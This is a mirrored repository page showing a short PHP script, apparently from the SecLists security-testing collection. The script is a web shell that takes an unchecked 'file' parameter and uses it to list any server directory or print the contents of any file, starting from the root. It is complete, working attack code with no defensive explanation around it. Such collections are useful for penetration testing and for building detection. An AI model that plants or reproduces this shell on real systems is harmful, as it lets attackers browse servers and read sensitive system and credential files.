mirror of
https://github.com/danielmiessler/SecLists.git
synced 2024-09-11 10:55:33 +03:00
33 lines
589 B
PHP
Executable File
33 lines
589 B
PHP
Executable File
<?
|
|
//
|
|
// PHP_KIT
|
|
//
|
|
// list.php = Directory & File Listing
|
|
//
|
|
// by: The Dark Raver
|
|
// modified: 21/01/2004
|
|
//
|
|
?>
|
|
|
|
<?
|
|
|
|
if($_GET['file']) {
|
|
$fichero=$_GET['file'];
|
|
} else {
|
|
$fichero="/";
|
|
}
|
|
|
|
if($handle = @opendir($fichero)) {
|
|
while($filename = readdir($handle)) {
|
|
echo "( ) <a href=?file=" . $fichero . "/" . $filename . ">" . $filename . "</a><br>";
|
|
}
|
|
closedir($handle);
|
|
} else {
|
|
echo "FILE: " . $fichero . "<br><hr><pre>";
|
|
$fp = fopen($fichero, "r");
|
|
$buffer = fread($fp, filesize($fichero));
|
|
echo $buffer;
|
|
fclose($fp);
|
|
}
|
|
|
|
?>
|